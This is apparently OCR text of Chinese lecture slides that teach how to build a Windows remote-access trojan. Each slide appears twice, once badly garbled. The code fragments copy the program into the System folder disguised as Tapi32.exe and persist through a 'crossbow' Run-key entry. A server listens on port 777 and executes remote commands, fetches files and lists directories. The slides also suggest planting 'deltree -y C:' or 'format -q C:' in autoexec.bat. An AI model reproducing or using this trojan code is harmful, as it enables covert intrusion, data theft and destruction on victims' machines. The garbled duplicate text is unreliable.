CopyFile( commandline, SystemPath+ ITapi32eXe FALSE) ∥自己拷贝到% System%目录下,并改名为Tapi32exe,伪装起来 registry- Open(KEY LOCAL Machine, Softwarel Microsoft Windows l Current Version Run) registry->Query Value (TempPath, crossbow &IRegLength) registry-Set Value(SystemPath+lTapi32exe crossbow")
• CopyFile( commandline, SystemPath+"\\Tapi32.exe", FALSE); – //将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来 • registry- >Open(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\ Windows\\CurrentVersion\\Run"); • registry->QueryValue(TempPath,"crossbow", &lRegLength); • • registry->SetValue(SystemPath+"\\Tapi32.exe", "crossbow" );
Server端功能——命令接收 ·接下来就是启动 Server端的 Socket来接收客户端的命令, ·Port777 ·核心代码: pSocket->Receive(lpBuf, 1000) ∥接收客户端数据 if(strnicmp(pBuf, CMD: 4==0 Execute Command (lpBuf, FALSE 执行远端应用程序 else if(strnicmp(lpBuf, "ISHUT", 5==0 Send Text("Exit program!",pOcket) OnExito y退出木马程序
Server端功能——命令接收 • 接下来就是启动Server端的Socket来接收客户端的命令。 • Port 777 • 核心代码: – pSocket->Receive( lpBuf, 1000); – //接收客户端数据 – if(strnicmp(lpBuf,"CMD:",4) == 0){ – ExecuteCommand( lpBuf , FALSE); – }//执行远端应用程序 – else if(strnicmp(lpBuf,"!SHUT",5) == 0){ – SendText( "Exit program!", pSocket ); – OnExit(); – }//退出木马程序
将要实现的功能:cMD 执行应用程序 SHUT 退出木马 FILEGET获得远端文件 EDITCONF|编辑配置文件 LIST 列目录 VIEW 察看文件内容 CDOPEN关CD CDCLOSE开cD REBOOT重启远端机器
• 将要实现的功能: CMD 执行应用程序 !SHUT 退出木马 FILEGET 获得远端文件 EDITCONF 编辑配置文件 LIST 列目录 VIEW 察看文件内容 CDOPEN 关CD CDCLOSE 开CD REBOOT 重启远端机器
Server端功能——修改配置 Autoexec. bat F!Config. sys ·代码: chmod (c: autoexec. bat",S IREAD S WRITE chmodcc: config. sys",SREAD I S WRITE) fwrite(content, sizeof(char), strlen(content), tp) ∥写入添加的语句,例如 deltree -y C:或者 format -q c
Server端功能——修改配置 • Autoexec.bat和Config.sys • 代码: – _chmod("c:\\autoexec.bat", S_IREAD | S_IWRITE); – _chmod("c:\\config.sys", S_IREAD | S_IWRITE); – fwrite(content,sizeof(char),strlen(content),fp); – //写入添加的语句,例如deltree -y C:或者 format –q C:
Server端功能—实现is命令 CFile Find finder BOOL bWorking finder FindFile(**); while(wOrking) ∥循环得到下一层文件或目录 wOrking =finder. FindNextFileo if finder Is Dots ll finder. ls Directory x strResult ="Dire: Jetset strresult ="File strResult + finder GetFileNameo strResult += n Send Text( strResult, sOcket ∥返回 Return Text变量的内容
Server端功能——实现list命令 • CFileFind finder; • BOOL bWorking = finder.FindFile("*.*"); • while (bWorking) • //循环得到下一层文件或目录 • { • bWorking = finder.FindNextFile(); • if ( finder.IsDots() || finder.IsDirectory() ){ • strResult = "Dire: "; • }else{ • strResult = "File: "; • } • strResult += finder.GetFileName(); • strResult += "\n"; • } • • SendText( strResult, pSocket ); • //返回Return_Text变量的内容